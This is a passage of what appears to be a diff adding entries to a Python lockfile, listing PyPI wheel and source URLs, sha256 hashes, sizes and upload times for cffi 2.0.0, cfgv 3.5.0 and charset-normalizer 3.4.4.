"https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "cfgv" +version = "3.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/b5/721b8799b04bf9afe054a3899c6cf4e880fcf8563cc71c15610242490a0c/cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132", size = 7334, upload-time = "2025-11-19T20:55:51.612Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/db/3c/33bac158f8ab7f89b2e59426d5fe2e4f63f7ed25df84c036890172b412b5/cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0", size = 7445, upload-time = "2025-11-19T20:55:50.744Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = 